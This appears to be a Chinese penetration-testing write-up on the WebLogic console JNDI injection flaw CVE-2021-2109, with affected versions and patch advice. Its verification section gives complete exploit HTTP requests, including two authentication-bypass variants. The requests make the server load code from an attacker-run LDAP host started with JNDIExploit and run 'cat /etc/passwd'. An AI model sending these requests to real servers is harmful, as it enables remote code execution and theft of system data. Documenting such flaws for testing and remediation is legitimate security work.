Weblogic JNDI远程代码执行漏洞(CVE-2021-2109)

2022-11-18 17:30:16 浏览数 (1)

前言

持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。

0x01 漏洞描述

- Weblogic JNDI远程代码执行漏洞(CVE-2021-2109) -

Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。在Oracle官方发布的2021年1月关键补丁公告中,发布了针对WebLogic Server的严重漏洞(CVE-2021-2109),该漏洞是存在于WebLogic Console控制台中的一个远程代码执行漏洞,经过身份验证的攻击者可以直接通过JNDI远程执行代码注入,未经授权的攻击者可以配合CVE-2020-14882或者CVE-2020-14750权限绕过漏洞执行任意代码。

影响版本:

  • Oracle WebLogic 10.3.6.0.0
  • Oracle WebLogic 12.1.3.0.0
  • Oracle WebLogic 12.2.1.3.0
  • Oracle WebLogic 12.2.1.4.0
  • Oracle WebLogic 14.1.1.0.0

0x02 漏洞等级

0x03 漏洞验证

在VPS服务器设置对外开放1389和8080端口,使用JNDIExploit工具启动LDAP服务,并绑定VPS的公网IP地址:

代码语言:javascript复制
D:JNDIExploit.v1.2>java -jar JNDIExploit.jar -i xxx.xxx.xxx.xxx(VPS公网IP)
[ ] LDAP Server Start Listening on 1389...
[ ] HTTP Server Start Listening on 8080...

正常利用管理员帐号登录Weblogic Console控制台的情况下,通过BurpSuite抓取登录后带Cookie数据包进行JNDI注入:

代码语言:javascript复制
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer") HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1

没有登录Weblogic Console控制台的情况下,配合CVE-2020-14882权限绕过漏洞进行JNDI注入:

代码语言:javascript复制
GET /console/css/%2e%2e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer") HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1

没有登录Weblogic Console控制台的情况下,配合CVE-2020-14750权限绕过漏洞进行JNDI注入:

代码语言:javascript复制
GET /console/css/%2e%2e%2f/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle("ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer") HTTP/1.1
Host: www.luckysec.cn:7001
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: cat /etc/passwd
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1

注意:ldap://xxx.xxx.xxx;xxx:1389/的地址IP的第三个分隔符是;号。

0x04 漏洞修复

  1. 目前厂商已发布升级补丁以修复漏洞。
  2. 通过控制T3协议的访问来临时阻断针对这些漏洞的攻击。
  3. 临时关闭后台/console/console.portal对外访问。
  4. 禁止启用IIOP,登陆Weblogic控制台,找到启用IIOP选项,取消勾选并重启。
  5. 升级Weblogic Server运行环境的JDK版本。

0 人点赞